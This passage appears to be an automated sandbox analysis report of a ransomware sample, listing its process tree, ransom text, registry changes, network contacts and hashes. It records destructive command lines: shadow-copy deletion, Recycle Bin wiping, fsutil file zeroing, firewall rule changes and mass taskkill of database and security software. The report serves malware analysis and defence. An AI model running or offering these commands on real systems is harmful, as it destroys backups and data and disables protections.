"taskkill.exe" /IM dbeng50.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM agntsvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM PccNTMon.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM thebat64.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM CNTAoSMgr.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM msaccess.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM thebat.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlwriter.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocomm.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM steam.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM outlook.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM tbirdconfig.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM tmlisten.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" IM thunderbird.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM infopath.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM dbsnmp.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mbamtray.exe /F

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "177189249013918887632054457611-15276065742062432051-156087160084169769-2018128497"

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM wordpad.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM msftesql.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM xfssvccon.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM zoolz.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM powerpnt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld-opt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocautoupds.exe /F

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "49292760911824047601713768551-13609149652138848815234813462-1354040014-1576991462"

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocssd.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM visio.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM oracle.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM winword.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlagent.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld-nt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlbrowser.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlservr.exe /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }

C:\Windows\system32\cmd.exe

"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\system32\arp.exe

"arp" -a

C:\Windows\System32\mshta.exe

"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

C:\Windows\system32\cmd.exe

"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”

C:\Windows\system32\PING.EXE

ping 127.0.0.7 -n 3

C:\Windows\system32\fsutil.exe

fsutil file setZeroData offset=0 length=524288 “%s”

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe

C:\Windows\system32\choice.exe

choice /C Y /N /D Y /T 3

Network

Country Destination Domain Proto
N/A 8.8.8.8:53 www.poweradmin.com udp
N/A 52.1.55.52:443 www.poweradmin.com tcp
N/A 8.8.8.8:53 live.sysinternals.com udp
N/A 20.49.223.105:80 live.sysinternals.com tcp
N/A 10.7.0.255:3 udp
N/A 10.7.0.255:3 udp
N/A 172.67.218.8:443 tcp

Files

memory/1652-60-0x0000000000A60000-0x0000000000A61000-memory.dmp

memory/1652-62-0x000000001B020000-0x000000001B022000-memory.dmp

memory/876-63-0x0000000000000000-mapping.dmp

memory/544-64-0x0000000000000000-mapping.dmp

memory/1796-65-0x0000000000000000-mapping.dmp

memory/1840-66-0x0000000000000000-mapping.dmp

memory/636-68-0x0000000000000000-mapping.dmp

memory/772-67-0x0000000000000000-mapping.dmp

memory/1296-69-0x0000000000000000-mapping.dmp

memory/932-70-0x0000000000000000-mapping.dmp

memory/1244-71-0x0000000000000000-mapping.dmp

memory/1876-72-0x0000000000000000-mapping.dmp

memory/2036-73-0x0000000000000000-mapping.dmp

memory/328-74-0x0000000000000000-mapping.dmp

memory/1120-75-0x0000000000000000-mapping.dmp

memory/1244-76-0x000007FEFB6A1000-0x000007FEFB6A3000-memory.dmp

memory/1608-79-0x0000000000000000-mapping.dmp

memory/1792-77-0x0000000000000000-mapping.dmp

memory/1640-78-0x0000000000000000-mapping.dmp

memory/864-80-0x0000000000000000-mapping.dmp

memory/1600-81-0x0000000000000000-mapping.dmp

memory/1804-82-0x0000000000000000-mapping.dmp

memory/364-83-0x0000000000000000-mapping.dmp

memory/1316-85-0x0000000000000000-mapping.dmp

memory/1340-86-0x0000000000000000-mapping.dmp

memory/1972-87-0x0000000000000000-mapping.dmp

memory/1896-88-0x0000000000000000-mapping.dmp

memory/1752-89-0x0000000000000000-mapping.dmp

memory/1540-90-0x0000000000000000-mapping.dmp

memory/304-91-0x0000000000000000-mapping.dmp

memory/960-92-0x0000000000000000-mapping.dmp

memory/664-93-0x0000000000000000-mapping.dmp

memory/616-94-0x0000000000000000-mapping.dmp

memory/1468-95-0x0000000000000000-mapping.dmp

memory/1160-96-0x0000000000000000-mapping.dmp

memory/544-97-0x0000000000000000-mapping.dmp

memory/1608-98-0x0000000000000000-mapping.dmp

memory/328-99-0x0000000000000000-mapping.dmp

memory/988-100-0x0000000000000000-mapping.dmp

memory/952-101-0x0000000000000000-mapping.dmp

memory/1636-102-0x0000000000000000-mapping.dmp

memory/932-103-0x0000000000000000-mapping.dmp

memory/924-104-0x0000000000000000-mapping.dmp

memory/1340-107-0x0000000000000000-mapping.dmp

memory/2036-105-0x0000000000000000-mapping.dmp

memory/1508-106-0x0000000000000000-mapping.dmp

memory/1600-108-0x0000000000000000-mapping.dmp

memory/1668-110-0x0000000000000000-mapping.dmp

memory/1632-109-0x0000000000000000-mapping.dmp

memory/1296-111-0x0000000000000000-mapping.dmp

memory/1624-112-0x0000000000000000-mapping.dmp

memory/1840-113-0x0000000000000000-mapping.dmp

memory/1764-115-0x0000000000000000-mapping.dmp

memory/560-114-0x0000000000000000-mapping.dmp

memory/2032-116-0x0000000000000000-mapping.dmp

memory/1648-117-0x0000000000000000-mapping.dmp

memory/1288-118-0x0000000000000000-mapping.dmp

memory/1072-119-0x0000000000000000-mapping.dmp

memory/1060-120-0x0000000000000000-mapping.dmp

memory/1644-121-0x0000000000000000-mapping.dmp

memory/1100-122-0x0000000000000000-mapping.dmp

memory/1028-123-0x0000000000000000-mapping.dmp

memory/1148-124-0x0000000000000000-mapping.dmp

memory/1244-125-0x0000000000000000-mapping.dmp

memory/1952-126-0x0000000000000000-mapping.dmp

memory/1972-127-0x0000000000000000-mapping.dmp

memory/1972-129-0x0000000002350000-0x0000000002351000-memory.dmp

memory/1972-130-0x000000001ADE0000-0x000000001ADE1000-memory.dmp

memory/1972-131-0x000000001AC50000-0x000000001AC52000-memory.dmp

memory/1972-132-0x000000001AC54000-0x000000001AC56000-memory.dmp

memory/1972-133-0x00000000024D0000-0x00000000024D1000-memory.dmp

memory/1972-134-0x0000000002500000-0x0000000002501000-memory.dmp

memory/760-135-0x0000000000000000-mapping.dmp

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

MD5 bd83d7acf35b1d2600a50c69b0297c3a
SHA1 bfd7ed0c87234c1fae1b14b3058b27d44dececd5
SHA256 d822b8c34cc9c79de300785e68db26a7335676ea3eea3dc60cbc903513ea0039
SHA512 18aa49a7b5928fbbef080f667dcf5f8c14926a5c72a814d009ff4318f7d0b01f6c145caec076926935ba798694cda4455b6a7dbe643ba1691845969d4e2cf2f2

Analysis: behavioral2

Detonation Overview

Submitted

2021-05-12 00:06

Reported

2021-05-12 00:09

Platform

win10v20210408

Max time kernel

50s

Max time network

75s

Command Line

"C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe"

Signatures

Downloads MZ/PE file

Modifies Windows Firewall

evasion

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A

Launches sc.exe

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\reg.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 636 wrote to memory of 3632 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3632 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\reg.exe
PID 636 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\reg.exe
PID 636 wrote to memory of 3976 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\reg.exe
PID 636 wrote to memory of 3976 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\reg.exe
PID 636 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\schtasks.exe
PID 636 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\schtasks.exe
PID 636 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 3620 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 3620 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 1508 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 1508 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 2248 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 2248 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 3892 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 3892 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 3908 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 3908 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 4024 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\netsh.exe
PID 636 wrote to memory of 4024 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\netsh.exe
PID 636 wrote to memory of 716 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 716 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\sc.exe
PID 636 wrote to memory of 3096 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3096 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 492 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 492 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3772 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3772 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3716 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3716 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
